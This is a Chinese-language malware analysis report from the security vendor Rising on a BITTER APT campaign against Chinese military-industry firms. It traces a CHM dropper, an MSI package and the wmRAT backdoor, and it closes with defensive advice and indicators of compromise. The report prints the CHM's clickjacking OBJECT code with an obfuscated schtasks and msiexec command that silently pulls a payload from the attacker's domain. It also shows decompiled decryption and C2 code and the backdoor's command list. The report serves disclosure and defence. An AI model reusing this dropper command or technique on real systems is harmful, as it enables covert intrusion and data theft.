2023年12月:蔓灵花组织针对中国军工企业的攻击事件分析报告

概述

  瑞星于2023年12月20日接到国内某敏感单位反馈称设备上扫描到间谍软件,经专家分析相关文件为wmRAT后门,该后门由国外一个名为蔓灵花的攻击组织制作,即相关单位遭遇了APT攻击。蔓灵花组织,又称为BITTER,是一支据称有南亚背景的APT组织,疑似来自印度。至少自2013年起就开始对目标发动网络攻击,攻击目标包含中国、巴基斯坦等国家,涉及行业有政府、军事、能源等,其意图是窃取敏感资料

ATT&CK技术矩阵

战术 技术 具体行为
TA0001-初始访问 T1566-网络钓鱼 我们推断本次攻击行动仍然使用钓鱼邮件进行攻击
TA0002-执行 T1204-用户执行 需要用户主动双击运行压缩包内的CHM文件
TA0002-执行 T1059-命令和脚本解释器 wmRAT可以调用PowerShell执行命令
TA0002-执行 T1053-计划任务/作业 wmRAT实际上是通过计划任务下载并获得执行
TA0003-持久化 T1053-计划任务/作业 恶意CHM文件通过在设备上创建计划任务实现持久化
TA0005-防御规避 T1027-混淆过的文件或信息 wmRAT内置的C2域名经过加密处理
TA0005-防御规避 T1140-去混淆或解密文件和信息 wmRAT内置的C2域名在执行时会进行解密
TA0005-防御规避 T1480-选择性攻击 攻击者会针对不同的受害者在FTP上传不同的MSI安装包
TA0007-环境发现 T1082-收集系统信息 wmRAT会获取当前设备的计算机名和磁盘列表并回传至服务器
TA0007-环境发现 T1083-枚举文件和目录 wmRAT可以枚举文件和目录并将信息回传服务器
TA0007-环境发现 T1033-探测系统所有者/用户 wmRAT会获取当前会话的用户名并回传至服务器
TA0009-收集信息 T1083-来自本地系统的数据 wmRAT可以采集特定文件的数据并将数据回传服务器
TA0009-收集信息 T1113-屏幕截图 wmRAT可以回传截屏数据至服务器
TA0011-指挥与控制 T1105-文件传输工具 wmRAT可以从服务器或者指定的URL获取文件
TA0011-指挥与控制 T1095-非应用层协议 wmRAT使用TCP协议与服务器通信
TA0011-指挥与控制 T1041-通过C2通道外传 wmRAT使用C2通道回传采集的文件数据

事件详情

  我们除了获得最终投放的MSI安装包之外,在相关设备上仅排查到了攻击流程里创建的计划任务。但我们通过其他途径获得了创建该计划任务的CHM文件。根据蔓灵花组织过往的攻击手法推断,CHM文件即为攻击者投放的初始样本。蔓灵花组织以鱼叉式钓鱼邮件投递恶意压缩包,压缩包里面通常为恶意CHM文件(利用点击劫持),有时也会在压缩包里面搭载利用公式编辑器漏洞的Office文档。恶意文件被执行时,将会向系统内添加计划任务。创建的计划任务通常每隔15到20分钟请求一次C2,下载后续载荷,在请求时通常会带上计算机名和用户名,这会在后台为受害者建立起一个文件夹,后续通过FTP的方式向指定受害者目录下上传MSI文件。MSI文件被执行后将会向电脑内植入最终的wmRAT后门,攻击者也有可能借此投放其他恶意程序。

在目标计算机上发现攻击留下的痕迹 - 恶意的计划任务

攻击过程

攻击过程图示

样本分析

初始CHM文件分析

字段 内容
原始文件名 Letter – Mr Suriyapong KUMSOPAR (FS-THA5057-2200482 CPR).chm
文件大小 10.9 KB (11,252 字节)
文件MD5 0D8E8E4DBCD6AE44B8BFF551C97D81C4
文件类型 CHM文件
病毒名 Trojan.MouseJack/HTML!1.BE26
主要功能 创建计划任务
<OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1>
<PARAM name="Command" value="ShortCut">
 <PARAM name="Button" value="Bitmap::shortcut">
 <PARAM name="Item1" value=",schtasks, /create /sc minute /mo 18 /tn Edgeupdates /tr "%coMSPec% /c s^ta^rt /^m^i^n m^s^i^e^xe^c ^/^i  h^tt^p://m^i^ke^yo^ur^ev^e^nt^s.c^om/CP/tre.p^h^p?p^i=%username%*%computername% /^q^n ^/^norestart" /f">
 <PARAM name="Item3" value="273,1,1">
</OBJECT>

CHM文件双击运行后将会由系统的hh.exe解析并渲染内部的doc.htm文件,内部利用了点击劫持的手法,在脚本部分调用了id为x的对象的点击事件,这将导致HTML页面展示时Item1内保存的内容被视为系统命令并执行

执行时将会调用schtasks创建一个名为Edgeupdates的计划任务,每18分钟运行一次。计划任务运行时将执行%coMSPec% /c s^ta^rt /^m^i^n m^s^i^e^xe^c ^/^i h^tt^p://m^i^ke^yo^ur^ev^e^nt^s.c^om/CP/tre.p^h^p?p^i=%username%*%computername% /^q^n ^/^norestart命令,即调用msiexechxxp://mikeyourevents.com/CP/tre.php?pi=%username%*%computername%拉取MSI安装包静默安装且不重启系统

MSI安装包分析

字段 内容
原始文件名 CERT.msi
文件大小 738 KB (756,224 字节)
文件MD5 D74C13DB24E632310E27A2937F26059F
文件类型 MSI安装包
病毒名 Backdoor.[Bitter]wmRAT!1.F137
主要功能 释放并执行wmRAT后门

该MSI安装包由攻击者主动投放,使用Advanced Installer制作,其CustomAction节内定义了一个名为_1972055E_B378_45DC_AB78_0802F1CB307A的自定义动作,该动作将执行安装包内名为_5597A4D910F27F8A0ABA6AEA47D72F42的文件,这个文件正是攻击者最终要投放的wmRAT后门

MSI安装包中的自定义动作

而这个自定义动作将在安装的最后阶段被执行

MSI安装包中的自定义动作 - 2

wmRAT分析

字段 内容
文件大小 91.0 KB (93,184 字节)
文件MD5 DA1DFCAFC961ABBD4E6D6FA22C02CE16
文件类型 PE_EXE
病毒名 Backdoor.[Bitter]wmRAT!1.F137
主要功能 后门程序,接收服务器指令并执行

蔓灵花组织的wmRAT于2022年被首次披露,披露时远控指令只有16个,并且有一半的指令无实际功能,这表明蔓灵花组织正在积极开发该后门程序

wmRAT利用C++的全局变量初始化机制,巧妙的将字符串的解密函数插入到运行时mainCRTStartupinitterm所在的函数指针表下。这样防止了恶意样本在被静态分析时直接获得明文字符串,规避静态查杀。另外在主体代码中,加入了大量Sleep函数以规避沙箱行为检测。

push    offset dword_D5D3EC ; Last
push    offset dword_D5D350 ; First
call    _initterm

用于解密字符串的函数如下,通过ADDSUB运算的方式对字符串进行解密。

v8 = v7;
v9 = 0;
v15 = v7;
v10 = a6;
v11 = a6;
if ( a6 > 0 )
{
while ( 1 )
{
    if ( v9 > v10 )
    {
    invalid_parameter_noinfo();
    v10 = a6;
    }
    v12 = a2;
    if ( a7 < 0x10 )
    v12 = &a2;
    if ( v9 > v10 )
    invalid_parameter_noinfo();
    v13 = a2;
    if ( a7 < 0x10 )
    v13 = &a2;
    *(v13 + v9) = *(v12 + v9) - 0x3E;
    if ( ++v9 >= v11 )
    break;
    v10 = a6;
}
v8 = v15;
}
std::string::string(v8, &a1);
std::string::~string(&a1);
return v8;

初始全局变量在被解密后得到域名dtzappaccount[.]com,域名通过以下函数被转换为IP地址与控制端建立连接。

WSAStartup(2u, &WSAData);
pHints.ai_flags = 0;
memset(&pHints.ai_addrlen, 0, 16);
pHints.ai_family = 0;
v0 = pNodeName;
ppResult = 0;
pHints.ai_socktype = 1;
pHints.ai_protocol = 6;
if ( dword_D63F5C < 0x10 )
v0 = &pNodeName;
if ( !getaddrinfo(v0, 0, &pHints, &ppResult) )
{
v1 = ppResult;
if ( ppResult )
{
    do
    {
    v2 = inet_ntoa(*&v1->ai_addr->sa_data[2]);
    strcpy_s(g_getaddr, 0x104u, v2);
    v1 = v1->ai_next;
    }
    while ( v1 );
    v1 = ppResult;
}
freeaddrinfo(v1);
}

访问hxxps://ipapi.co/查询主机IP信息,通过调用系统函数,获得当前计算机基本信息并在初始连接时发送到控制端

例如:123-PC|| Administrator|| Windows 7 Ultimate||C:\Users\Administrator\Desktop\vmncros.exe||

本样本中wmRAT的指令与功能展示如下:

序号 指令名 功能
7 截取屏幕图像上传
10 RFOX 读取文件流的指定位置,上传文件数据
12 获取指定URL的页面内容,作为ShellCode执行
15 XXDRPX 列出指定文件目录的详细信息
15 Error 返回错误提示信息
19 获得指定目录下的文件信息(加密上传)
21 F@ngS-XFSXX 打开一个下载文件流
21 F@ngS-lstcts 获取设备名称、系统用户名称、系统中产品信息
21 F@ngS-DXXXDXXX 遍历磁盘,获得磁盘设备信息
21 F@ngS-DEXDXXL 删除指定路径的文件
21 XXSSPPDDNN 关闭上传文件流
21 Search 搜索文件信息
22 命令执行,创建CMDPowerShell管道执行命令
25 上传指定路径下的文件
28 读取上传文件流,上传数据
30 关闭下载文件流
31 接收文件数据,写入数据到下载文件流

总结

  APT攻击有着针对性强、组织严密、持续时间长、高隐蔽性和间接攻击的显著特征,针对的目标都是具有重大信息资产,如国家军事、情报、战略部门和影响国计民生的行业如金融、能源等,国内相关政府机构和企业单位务必要引起重视,加强防御措施。

预防措施

  1. 不打开可疑文件。

    不打开未知来源的可疑的文件和邮件,防止社会工程学和钓鱼攻击。

  2. 部署网络安全态势感知、预警系统等网关安全产品。

    网关安全产品可利用威胁情报追溯威胁行为轨迹,帮助用户进行威胁行为分析、定位威胁源和目的,追溯攻击的手段和路径,从源头解决网络威胁,最大范围内发现被攻击的节点,帮助企业更快响应和处理。

  3. 安装有效的杀毒软件,拦截查杀恶意文档和木马病毒。

    杀毒软件可拦截恶意文档和木马病毒,如果用户不小心下载了恶意文件,杀毒软件可拦截查杀,阻止病毒运行,保护用户的终端安全。

    瑞星ESM目前已经可以检出此次攻击事件的相关样本

瑞星ESM3能够识别攻击活动相关的文件

  1. 及时修补系统补丁和重要软件的补丁。

沦陷信标(IOC)

  • MD5

    0D8E8E4DBCD6AE44B8BFF551C97D81C4
    D74C13DB24E632310E27A2937F26059F
    DA1DFCAFC961ABBD4E6D6FA22C02CE16
  • DOMAIN

    mikeyourevents.com
    dtzappaccount.com
  • URL

    hxxp://mikeyourevents.com/CP/tre.php?pi=%username%*%computername%
  • IPV4

    45.66.248.66
  • 瑞星病毒名

    Backdoor.[Bitter]wmRAT!1.F137

参考链接

Author